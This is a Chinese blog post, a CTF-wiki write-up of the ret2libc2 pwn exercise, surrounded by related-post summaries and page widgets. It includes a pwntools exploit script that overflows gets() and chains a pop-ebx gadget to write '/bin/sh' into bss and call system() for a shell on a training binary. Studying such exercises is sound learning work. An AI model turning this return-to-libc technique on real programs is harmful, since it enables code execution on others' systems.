ret2libc2做题过程(ctfwiki)

跟着CTF-wiki学pwn——ret2libc1 CTF-wiki的注解:简单的ret2libc 阅读详情

1.checksec保护机制

 

NX保护

32位程序

2.拖进ida

gets函数栈溢出

plt段有gets函数,所以可以返回到gets函数 

 

3.找gets和system地址

 向程序中 bss 段的 buf2 处写入 /bin/sh 字符串,并将其地址作为 system 的参数传入。这样以便于可以获得 shell

4.找buf2和ropgadgets

 

 

 

5.计算偏移 

6.exp

from pwn import*
p=process('./ret2libc2')

gets_plt=0x8048460 
system_plt=0x8048490


pop_ebx=0x0804843d 
buf2=0x804a080


payload=flat([b'a'*112,gets_plt,pop_ebx,buf2,system_plt,0xdeadbeef,buf2])
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

最后cat flag

PWN学习,对CTF-wiki上的讲解进行一些补充 `基本知识 ROP Return Oriented Programming,其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。 一般的栈结构: 高地址 +-----------------+ ... 阅读详情

相关推荐

CTFshow-pwn入门-前置基础pwn23-pwn25

CTFshow-pwn入门-前置基础pwn23-pwn25

你们de4月天的博客 2803

ctf wiki ret2libc2

具体思路为 构造两段gadgets ,第一段用于将字符串”/bin/sh“ 存储到某个地址。再构造system取出。注:汇编语言需要和地址p32();需要先给某个地址输入”/bin/sh“

weixin_55885866的博客 295

耕地质量评价软件实操指南:如何用Excel+ArcGIS一键生成土壤普查报告(附避坑技巧)

本文提供了一套融合Excel数据处理与ArcGIS空间分析的耕地质量评价实战工作流。详细讲解了从数据规范化预处理、高效数据桥接,到在ArcGIS中实现指标评分、综合指数计算与等级划分的全流程,旨在帮助土壤普查工作者大幅提升报告生成效率与准确性,并分享了关键的避坑技巧。

weixin_28455801的博客 491

CTFWIKI-PWN-ret2libc

一遍我们只能找到got表的泄露 我们要写入的话就要重新执行一下 所以等等通过把start的地址存入返回地址 让程序执行两次。puts函数的真实地址 和 通过LibcSearcher工具得到的偏移量 就可以计算出每个函数的基地址。这里有一个问题 为什么我们需要找到开始的地址 _start表示程序开始的地址。如果我们无法找到system的plt地址 那我们就无法调用system函数。不是地址不会变 是函数和puts真实地址的之间的链接是不会变的。所以我们只要使用puts函数的真实地址 求出他们之间的链接。

m0_64180167的博客 1474

在 Linux 虚拟机中手动安装 VMware Tools

对于 Linux 虚拟机,您可以从命令行手动安装 VMware Tools。对于 Linux 的较高发行版,请使用集成的 open-vm-tools 版本。 前提条件 有关 open-vm-tools 的操作系统兼容性的详细信息,请参见《VMware 兼容性指南》,网址为VMware Compatibility Guide - System Search。 开启虚拟机。 确认客户机操作系统正在运行。 因为 VMware Tools 安装程序是使用 Perl 编写的,请确认已在客户机操作系统中安..

m0_62526815的博客 1756

手把手教你用STM32单片机DIY一个简易PLC(附完整电路图与PCB文件)

本文详细介绍了如何利用STM32单片机DIY一个简易PLC控制器,涵盖硬件设计、电路图解析、PCB布局优化及固件框架实现。通过完整的电路图和PCB文件,帮助读者从元器件选型到工业级优化,逐步构建可靠的PLC系统,特别适合工业自动化爱好者和学习者实践。

weixin_42527160的博客 571

basic rop ret2libc2

题目地址:ret2libc2 看一下ctfwiki的wp,这个题目我也并不是很明白,我只能进行一部分猜测,应该是想让第一个sendline执行读取字符串的操作,居然有这种骚操作,属实搞不懂,这种只能先记住,别无它法。 还是先让get读到ret函数,然后执行get函数,里面有一个问题就是为啥,要执行pop ebx的操作,然后bss有个buf字符串,把他用上读,我读个屁啊,算了这题问大佬吧。等着修改...

archli的博客 400

告别“盲开”:手把手教你用MCU内置比较器搞定BLDC无感方波启动(附代码片段)

本文详细介绍了如何利用MCU内置比较器实现BLDC无感方波启动,解决传统无传感器控制中的'盲开'问题。通过虚拟中性点电路设计和三段式启动流程,结合反电动势检测和过零检测技术,提供了一套经济高效的解决方案,并附有可直接移植的代码片段,助力工程师快速实现可靠的无感控制。

weixin_33694172的博客 503

从ctfwiki开始的pwn之旅 4.ret2libc

当一个函数被调用过后,got表里保存了他在内存中的地址,可以通过泄漏got表内存来泄漏函数地址,然后可以根据起泄漏的函数地址获得其libc版本,从而计算其他函数在内存空间中的地址。为什么不能直接跳到got表,通过前面的前置知识我们知道plt表中的地址对应的是指令,got表中的地址对应的是指令地址,而返回地址必须保存一段有效的汇编指令,所以必须要用plt表。可执行文件里保存的是plt表的地址,对应plt地址指向的是got的地址,got表指向的是glibc中的地址。经在 ida 中查找,确实也存在。

2301_80361487的博客 1745

0.嵌入式控制器EC实战 Embedded Controller开发概述

文章目录前言1.嵌入式控制器EC概述2.EC芯片框图(IT8502为例)3.General Purpose I/O Port (GPIO)4.SMBus(System Management Bus,系统管理总线)5.PWM、TACH6.KBC(KeyBoard Controller)7.PS/28.ADC(模数转换)总结 前言 例如:随着人工智能的不断发展,机器学习这门技术也越来越重要,很多人都开启了学习机器学习,本文就介绍了机器学习的基础内容。 1.嵌入式控制器EC概述 嵌入式控制器EC是挂在CPU的L

qq_30135687的博客 1万+

基于FPGA的数字信号处理(11)--定点数的舍入模式(2)向最临近值取整nearest

基于FPGA的数字信号处理(11)--定点数的舍入模式(2)向最临近值取整nearest

孤独的单刀 5475

ret2libc2

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),故而此时我们需要知道 system 函数的地址。 先检查保护 放入ida 发现gets函数 Shift+F12 (因为在比赛中不会给你提示有没有 /bin/sh ,所以还是需要自己找一下) 两个方法都没有发现/bin/sh...

m0_54262894的博客 441

Codex 100个真实案例 - 用AI画业务流程图Mermaid(产品经理都馋哭了)

还在用 Visio、ProcessOn 拖拖拽拽画流程图?改一个箭头方向就要调半天?本案例教你用 Codex 自然语言描述业务流程,AI 自动转为 Mermaid 代码,一秒生成专业流程图、时序图、甘特图、饼图!还能搭建在线渲染工具、批量导出 PNG/SVG、集成到文档系统。产品经理、架构师、项目经理都能用,从此画图再也不是体力活!

yueyeguzhuo的专栏 350

浅谈ROP-ret2libc原理-题目源于[ctfwiki]

rop:在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。–[ctfwiki] 传送门 之前提到的ret2syscall,提到了静态链接,而libc主要利用了动态链接。 0x01 知识点: 简单来说,静态链接就是直接在原有的基础之上进行访问,而动态链接就是直接放上一个链接来访问。 1.plt表和got表 拿一个c语言编写的printf函数为例,当调用printf函数时,先去plt表和got表寻找printf函数的真实地址。plt表指向

pointerr的博客 1801

Kafka 性能优化与常见问题排查

Kafka 的高性能依赖于合理的集群设计、参数优化与高效的监控体系。生产环境中,应重点关注I/O 瓶颈、分区规划、Producer/Consumer 参数调优,并通过监控与排查手段快速定位问题,从而保障 Kafka 在实时场景下的稳定运行。

X2829352498的博客 235

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

ret2libc类型题目思考-ret2libc1

一眼看到栈溢出,ret2libc这类型的题目就是要利用栈溢出将控制流转移到glibc库的函数中。这里我们一定是找的plt表而不是system字符串的地址,这是要分清楚的。关于plt表和got表参考我的其他博客,这个玩意我也理解了很久比较愚钝。但是我在IDA看到距离ebp是0x64h,就算换算成10进制在加4也是104,当时我就觉得很疑惑。打算复现CTFwiki中的三个ret2libc类型的实现。当函数要返回的时候,他将跳到system函数的地址去执行,此时他将把ebp+4的内容当做函数的第一个参数传递。

qq_30528603的博客 390

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

ret2libc1做题历程分享(ctfwiki)

pwn 题 ret2libc1 system与bin/sh都给出

Rt1Text的博客 367

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

CTFWiki-pwn

stackoverflow ret2text 首先checksec一下,是32位可执行文件,没有开启保护 放入ida,shift+f12查看字符串,发现secure函数中使用system函数调用了"/bin/sh",记下地址0x804863a 查看偏移地址 脚本如下: from pwn import * io = process("./ret2text") payload = b"a"*112 + p32(0x804863a) io.sendline(payload) io.interactive(

qq_55233040的博客 1708

pwn基础之ctfwiki-栈溢出-基础ROP-ret2libc-3

文章目录基础知识libc泄露原理利用方法ret2libc3挖掘漏洞利用漏洞利用脚本 基础知识 libc泄露 原理 当有一道题给了可执行文件文件,在ida分析中并不能找到system函数和binsh地址,这时我们就可以利用在栈溢出之前执行过的函数泄露libc的版本。因为libc函数相对于libc的基地址都是确定的,采用 got 表泄露,即输出某个函数对应的 got 表项的内容,所以就可以通过上述方法来获取libc函数中的system地址和字符binsh的地址。 system 函数属于 libc,而 libc

qq_52658640的博客 1715

ctfwiki---基本ROP

ctfwiki,基本ROP(Return Oriented Programming)复现

xuqi7 2484

pwn 做题记录 2.11 rop学习

菜鸡的rop学习笔记,目前不包含任何题解

qq_62423835的博客 865

【ctf题目系列】ctfwiki pwn类型

我之所以能够执行,是因为我pwndbg是在kali的虚拟机中执行的,exp是在我ubuntu的虚拟机执行的,所以可以正常执行;如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以’4位垃圾数据’ 作为虚假的地址,其后参数对应的参数内容。看到sh的地址为:0x0x08048736,到ida中分析查看,找到了这个sh指的是no_shell-QQ中的sh,所以是不能利用的。可以看到有很多个libc版本,可以1个1个的试(因为程序为32位的,所以可以选择性的把64位的去掉)

weixin_42072280的博客 2081

ctf wiki ret2libc1

寻找system函数 使用gdb info function system。4.由于调用函数需要压入参数 , push eip 模仿调用。填充字节为:71c-6ac = 112(十进制)大概明白 最后一个函数是gets函数 存在漏洞。3.查看v4距离返回地址存在多少字节。发现开始nx(栈段不可执行)寻找”/bin/sh“1.检查安全保护机制。

weixin_55885866的博客 178

PWN的学习顺序推荐 | pwn学习指北

Pwn是一种在网络安全和黑客竞赛(如CTF,夺旗赛)中常见的技术类型。它主要涉及对程序漏洞的利用,以实现对目标系统的控制或获取敏感信息。

2403_87031746的博客 2581

栈溢出学习

前言 跟着ctfwiki学习,所有题目都在ctfwiki上可以找到。加油加油。 栈溢出原理 栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。 看一个简单的程序: #include <stdio.h> #include <string.h> void success() { puts("You Hava already controlled it."); system("/bin/sh"); } void

feng的博客 2683

CTFWiki_PWN_LinuxPlatform_UserMode_Exploitation_StackOverflow_x86

先看这个文章学习函数调用栈出栈时RIP指向栈存放函数返回地址的位置,这个地址我们可以改为一个汇编指令的地址,RIP一直往后面指,以那个地址为起点一直往后执行 把函数返回地址设为0804863A,会一直往后执行 ret2shellcode 把恶意汇编代码写到数组(代码块)里面,返回地址指向这个数组(代码块)首地址。 这个数组要可读写执行,全局变量(.bss)有这个特点 ljust() 用法 shellcraft.sh() 打印结果 计算偏移disass main反汇编 main 函数找到 main 的第一条指

A的博客 783
上一篇: ret2syscall前置知识
下一篇: Linux文件与目录管理(Ubuntu16)
Rt1Text
博客等级 码龄5年 14粉丝 53原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值